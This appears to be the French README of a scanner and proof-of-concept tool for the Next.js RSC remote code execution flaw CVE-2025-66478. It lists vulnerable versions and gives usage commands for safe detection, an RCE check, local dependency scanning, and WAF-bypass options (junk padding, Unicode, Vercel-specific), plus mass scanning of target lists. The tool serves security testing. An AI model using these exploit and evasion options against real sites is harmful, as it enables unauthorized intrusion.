
Scanner de vulnérabilités multi-mode pour RCE Next.js (CVE-2025-66478/55182) avec détection sécurisée par canal auxiliaire, preuve de concept RCE, techniques de contournement WAF, et analyse des dépendances de projet local.
Le scanner le plus complet pour la vulnérabilité d'exécution de code à distance (RCE) RSC de Next.js
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (également connue sous le nom CVE-2025-55182) est une vulnérabilité CRITIQUE (CVSS 10.0) d'exécution de code à distance affectant les applications Next.js utilisant les composants serveur React (RSC).
| Plage de versions | Statut |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Vulnérable |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Vulnérable |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Vulnérable |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Vulnérable |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Vulnérable |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Vulnérable |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Vulnérable |
| Next.js 14.3.0-canary.77+ | ⚠️ Vulnérable |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Corrigé |
| Next.js 16.0.7+ | ✅ Corrigé |
| Next.js 13.x, 14.x stable | ✅ Non concerné |
Cet outil combine les meilleures fonctionnalités de plusieurs scanners CVE-2025-66478 :
| Fonctionnalité | Description |
|---|---|
| 🔍 Détection multi-mode | Side-channel sécurisé, PoC RCE, version uniquement, scan local |
| 🛡️ Techniques de contournement WAF | Remplissage avec données poubelles, encodage Unicode, contournement spécifique à Vercel |
| 📁 Scan de projets locaux | Analyse de package.json, fichiers de verrouillage pour dépendances vulnérables |
| ⚡ Haute performance | Scan multithreadé avec concurrence configurable |
| 📊 Formats de sortie multiples | Console, JSON, export de fichier |
| 🎯 Détection précise des versions | En-têtes HTTP, empreinte RSC, connaissance des versions corrigées |
# Clonez le dépôt
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Installez les dépendances
pip install -r requirements.txt
# Ou installez manuellement
pip install requests tqdm
# Détection de version uniquement (plus rapide, pas d'exploitation)
python3 react2shell-ultimate.py -u https://cible.com --version
# Détection par canal auxiliaire sécurisé (pas d'exécution de code)
python3 react2shell-ultimate.py -u https://cible.com --safe
# Preuve de concept RCE (exécute un calcul inoffensif : 41*271=11111)
python3 react2shell-ultimate.py -u https://cible.com --rce
# Scan complet avec toutes les tentatives de contournement
python3 react2shell-ultimate.py -u https://cible.com --comprehensive
# Scanner plusieurs cibles à partir d'un fichier
python3 react2shell-ultimate.py -l cibles.txt -t 20 -o resultats.json
# Mode silencieux - n'affiche que les hôtes vulnérables
python3 react2shell-ultimate.py -l cibles.txt -q
# Sortie JSON sur stdout
python3 react2shell-ultimate.py -l cibles.txt --json
# Scanner le répertoire courant
python3 react2shell-ultimate.py --local .
# Scanner un chemin de projet spécifique
python3 react2shell-ultimate.py --local /chemin/vers/projets/nextjs
# Contournement par données poubelles (ajoute 128 Ko de remplissage pour éviter l'inspection du contenu)
python3 react2shell-ultimate.py -u https://cible.com --rce --waf-bypass
# Taille personnalisée des données poubelles
python3 react2shell-ultimate.py -u https://cible.com --rce --waf-bypass --waf-bypass-size 256
# Contournement par encodage Unicode
python3 react2shell-ultimate.py -u https://cible.com --rce --unicode
# Contournement spécifique à Vercel
python3 react2shell-ultimate.py -u https://cible.com --rce --vercel-bypass
# Cible Windows (charge utile PowerShell)
python3 react2shell-ultimate.py -u https://cible.com --rce --windows
# Avec proxy
python3 react2shell-ultimate.py -u https://cible.com --rce --proxy http://127.0.0.1:8080
# En-têtes personnalisés
python3 react2shell-ultimate.py -u https://cible.com --rce -H "Authorization: Bearer jeton"
# Délai d'attente augmenté
python3 react2shell-ultimate.py -u https://cible.com --rce --timeout 30
# Sortie verbeuse
python3 react2shell-ultimate.py -u https://cible.com --comprehensive -v
| Option | Description |
|---|---|
-u, --url | URL unique à scanner |
-l, --list | Fichier contenant les URL (une par ligne) |
--local | Scanner un répertoire de projet local |
--safe | Détection par canal auxiliaire sécurisé (pas de RCE) |
--rce | Mode preuve de concept RCE |
--version | Détection de version uniquement |
--comprehensive | Scan complet avec toutes les techniques |
--waf-bypass | Ajouter des données poubelles pour contourner le WAF |
--waf-bypass-size | Taille des données poubelles en Ko (défaut : 128) |
--unicode | Encodage Unicode pour contourner le WAF |
--vercel-bypass | Contournement spécifique à Vercel |
--windows | Utiliser la charge utile Windows PowerShell |
-t, --threads | Threads simultanés (défaut : 10) |
--timeout | Délai d'attente des requêtes en secondes (défaut : 10) |
-k, --insecure | Désactiver la vérification SSL |
--proxy | URL du proxy (http://hôte:port) |
-H, --header | En-tête personnalisé (répétable) |
-o, --output | Fichier de sortie (JSON) |
--all-results | Enregistrer tous les résultats, pas seulement les vulnérables |
-v, --verbose | Sortie verbeuse |
-q, --quiet | N'afficher que les hôtes vulnérables |
--json | Sortie JSON sur stdout |
--safe)Déclenche un motif de réponse d'erreur spécifique sans exécuter de code. Identifie les implémentations RSC vulnérables via le comportement de gestion des erreurs.
--rce)Exécute un calcul mathématique inoffensif (echo $((41*271)) = 11111) pour confirmer la capacité RCE. Le résultat apparaît dans l'en-tête X-Action-Redirect.
--version)X-Powered-By pour la version de Next.jsVary pour les indicateurs RSCtext/x-component--local)Scanne les répertoires de projet pour :
package.json - Déclaration directe de dépendancepackage-lock.json - Fichier de verrouillage NPMyarn.lock - Fichier de verrouillage Yarnpnpm-lock.yaml - Fichier de verrouillage PNPMbun.lockb - Fichier de verrouillage Bun[VULNÉRABLE] https://cible.com
Version : 15.3.1 | Statut : 200 | Méthode : rce_poc
Contournement WAF : SUCCÈS
[NON VULNÉRABLE] https://cible-securisee.com
Version : 15.5.7 | Statut : 200 | Méthode : http_headers
[BLOQUÉ PAR WAF] https://protegee.com
Version : 15.2.0 | Statut : 403 | Méthode : rce_poc
WAF détecté : Exploit bloqué
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://cible.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
Si vous trouvez des applications vulnérables :
Mettez à jour immédiatement vers les versions corrigées :
Atténuations temporaires :
Surveillez les tentatives d'exploitation dans les journaux
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.
Licence MIT - Voir le fichier LICENSE pour plus de détails.
⭐ Mettez une étoile à ce dépôt si vous le trouvez utile ! ⭐
--no-color |
| Désactiver la sortie colorée |